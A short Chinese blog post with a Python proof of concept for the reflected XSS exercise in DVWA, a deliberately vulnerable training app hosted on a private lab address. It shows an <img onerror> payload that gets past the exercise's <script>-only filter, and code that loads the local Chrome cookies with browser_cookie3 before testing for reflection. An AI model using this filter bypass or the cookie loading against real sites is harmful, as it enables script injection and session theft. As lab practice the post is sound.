POC——DVWA's XSS Reflected

XSS反射型中，三个等级内全都只定义了对<script>标签的过滤，所以通用一个<img>标签即可~

 1 import requests
 2 import browser_cookie3
 3 from urllib import parse
 4 
 5 cookie = browser_cookie3.chrome()
 6 text1 = '<img src=1 onerror=alert(document.cookie)>'
 7 string1 = parse.quote(text1)
 8 url = 'http://192.168.117.130/DVWA-1.9/vulnerabilities/xss_r/?name='+string1
 9 response = requests.get(url=url,cookies=cookie)
10 
11 re = 'document.cookie'
12 flag=re in str(response.content)
13 
14 if flag:
15     print("It looks likely vulnerable")
16 else:
17     print("It is strong")

此处没有必要一定要把请求url编码，在这里只是想加一下而已~

posted @ 2022-06-19 17:44  wavesky  阅读(29)  评论(0)  编辑  收藏  举报